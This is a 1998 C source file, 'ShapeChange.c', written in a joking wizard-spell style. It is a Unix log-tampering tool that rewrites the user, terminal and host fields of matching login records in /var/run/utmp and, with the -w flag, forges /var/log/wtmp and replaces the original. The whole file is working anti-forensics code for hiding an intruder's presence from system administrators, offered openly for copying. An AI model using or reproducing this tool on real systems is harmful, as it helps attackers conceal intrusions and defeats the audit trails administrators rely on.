/*
ShapeChange.c - spell of ninth level :) If you're not a wizard, DON'T try
		this at home. Lets you disguise as another user :) on
		another terminal, from another host. Sorry, no abilities
		are attained if you try to disguise as a demigod.
         Usage: ShapeChange <user> <new ID> <new tty> <new host> [-w]

This affects UTMP and WTMP [-w]. If you want me to support UTMPX and WTMPX
mantras, supply me with an IRIX wand. :) (or do it yourself). 
WTMP magic may not be all that clever to perform. High Priests could get
suspicious. My Warning Is Bestowed Upon Thoust Soul. ;)
Apprentices of the LamA OrdeR : the Utmp,Wtmp reagent must be present and 
usable ! Check your Mojo bags and VooRoot mantras.
Or simply cast a +s(pell) to owner root =:)
*/

/*************************************************************************
*         		Written by fusys no (C)1998			 *
*	Ideas From Utmp,Wtmp MAN Page and unCommon 20th Sec. Wit	 *
*  Copy And Paste Allowed. For Non-Profit Fun And Learning Purposes.     *
*				AMEN.					 *
*************************************************************************/

 
#include <fcntl.h>
#include <utmp.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

#define UTMP	"/var/run/utmp"	 /* you're supposed to check these reagents */
#define WTMP	"/var/log/wtmp"	 /*   for the spell to function properly    */

int main (int argc, char *argv[])
	{
	
		struct utmp ut ;
		int size, fin, fout ;
		int wspell = 0 ;
		char user[10], newuser[10], line[10], host[100] ;

		if ((argc!=5) && (argc!=6)) {
			fprintf(stderr, "\nShapeChange - no (C)1998 fusys") ;
			fprintf(stderr, "\nUsage: %s <user> <new ID> <new tty> <new host> [-w]\n\n", argv[0]) ;
			exit (0) ;
		}

		size=sizeof(ut) ;
		strcpy(user, argv[1]) ;
		strcpy(newuser, argv[2]) ;
		strcpy(line, argv[3]) ;
		strcpy(host, argv[4]) ;
		if (argv[5]) {
			if ((argv[5][0]=='-') && (argv[5][1]=='w')) {
				wspell = 1 ;
			}
			else {
				fprintf(stderr, "\nHmmm. Unknown Mantra.\n") ;
				exit (0) ;
			}
		}

		fin = open (UTMP, O_RDWR) ;
		if (fin < 0) {
			fprintf(stderr, "\nLacking Utmp Reagent.\n") ;
			exit (0) ;
		}
		else {

			while (read (fin, &ut, size) == size) {
				if (!strncmp(ut.ut_user, user, strlen(user))) { 
					strcpy(ut.ut_user, newuser) ;
					strcpy(ut.ut_line, line) ;
					strcpy(ut.ut_host, host) ;	
					lseek(fin, -1*size, SEEK_CUR) ;
					write(fin, &ut, size) ;
				}
			}
		close(fin) ;
		}

	if (wspell) {
		fin = open (WTMP, O_RDONLY) ;
		fout = open ("wtmp.spell", O_WRONLY|O_CREAT) ;
		if (fin < 0) {
			fprintf(stderr, "\nLacking Wtmp Reagent.\n") ;
			close (fin) ;
		}
		else if (fout < 0) {
			fprintf(stderr, "\nHmm. No Space For Gestures.\n") ;
			close (fout) ;
		}
		else {
			while (read (fin, &ut, size) == size) {
				if (!strncmp(ut.ut_user, user, strlen(user))) {
				strcpy(ut.ut_user, newuser) ;
				strcpy(ut.ut_line, line) ;
				strcpy(ut.ut_host, host) ;
				}
				write (fout, &ut, size) ;
			}
			close (fin) ;
			close (fout) ;
		}
	   }

		printf("\nSummoning energies ....") ;
		printf("\nAsh Nazg durbatuluk, Ash Nazg gimbatul ...") ;
		printf("\nAsh Nazg thrakatuluk agh burzum-ishi Krimpatul !\n\n") ;
		if (wspell) {
		system("/bin/mv wtmp.spell /var/log/wtmp") ;
		system("chmod 644 /var/log/wtmp") ;
		}
		exit (0) ;
}
